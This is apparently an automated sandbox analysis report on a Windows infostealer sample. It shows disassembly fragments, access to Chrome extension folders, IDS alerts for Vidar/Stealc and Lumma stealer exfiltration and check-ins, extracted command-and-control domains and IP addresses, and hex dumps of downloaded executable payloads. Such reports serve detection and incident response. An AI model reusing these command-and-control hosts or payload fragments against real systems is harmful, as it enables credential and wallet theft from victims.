Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BB980F FindFirstFileExW,	5_2_00BB980F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_00AFD38D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_00AFD38D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	1_2_004014AD
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov ebp, eax	5_2_00BD61E0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [eax], dx	5_2_00BEE140
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [esi], ax	5_2_00BEE140
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	5_2_00C12298
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	5_2_00BFE2C0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	5_2_00BF83B7
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	5_2_00C12398
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	5_2_00BE2416
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	5_2_00BFA572
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [eax], dx	5_2_00BEE548
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	5_2_00C126CF
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	5_2_00BD0880
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	5_2_00BF482C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	5_2_00C1283B
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	5_2_00C10920
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	5_2_00BFCA60
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	5_2_00BF8BB0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00BF8BB0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	5_2_00BF8BB0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	5_2_00BFAB28
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [edx], ax	5_2_00BF6B71
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp eax	5_2_00BF6B50
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	5_2_00BE2CC2
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp eax	5_2_00BF4C23
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00C14C6A
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	5_2_00BD2D80
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	5_2_00BDCDCC
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov edi, ecx	5_2_00BE0D0A
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	5_2_00BCCEE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	5_2_00BE2E71
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp ecx	5_2_00BD4FB8
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00BD8FF0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00BD8FF0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	5_2_00BFEFDD
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	5_2_00BFEF7C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then dec ebx	5_2_00C0AF10
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	5_2_00BF90C1
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	5_2_00BF7059
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	5_2_00BE72F0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_00BE93C7
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	5_2_00C0D320
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	5_2_00C13400
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	5_2_00C135F0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	5_2_00C07530
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	5_2_00BF968F
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00C11609
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_00BF5667
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, ebx	5_2_00BE1655
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	5_2_00BEB8A4
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	5_2_00C158B0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov byte ptr [edi], al	5_2_00BFF81B
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	5_2_00C0F800
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	5_2_00BE9872
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	5_2_00BE1851
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp eax	5_2_00BDD9AD
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	5_2_00BD1930
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp eax	5_2_00BDD91C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	5_2_00BFF945
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	5_2_00BF3AE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	5_2_00BDDACE
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	5_2_00C15A40
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	5_2_00BE9A4F
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00C15BC0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	5_2_00C15BC0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	5_2_00BDBB80
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov byte ptr [edi], al	5_2_00BFFB2A
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov byte ptr [edi], al	5_2_00BFFB4B
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	5_2_00C0BB3E
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	5_2_00BF9C89
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	5_2_00BD7D90
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	5_2_00BDDD73
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00BF1D50
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_00BF3D40
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov word ptr [edx], 0000h	5_2_00BEBEBF
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	5_2_00C13EA0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00C13EA0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp eax	5_2_00BF5ECC
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp ecx	5_2_00C11EB6
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	5_2_00C0BE50
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	5_2_00BFBF38
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	5_2_00BFFF20
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	5_2_00BFFF20
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then jmp ecx	5_2_00C11F74
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	5_2_00BDFF77
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	5_2_00C0FF20

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49741 -> 141.98.233.156:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 141.98.233.156:80 -> 192.168.2.4:49741
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 141.98.233.156:80 -> 192.168.2.4:49741
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:49349 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:53901 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:51930 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:61682 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:63264 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:51368 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:63996 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:56284 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:49859 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49860 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49860 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bathdoomgaz.stor
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: studennotediw.stor
Source: Malware configuration extractor	URLs: dissapoiznw.stor
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: mobbipenju.stor
Source: Malware configuration extractor	URLs: eaglepawnoy.stor
Source: Malware configuration extractor	URLs: spirittunek.stor
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:08 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:13 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:14 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
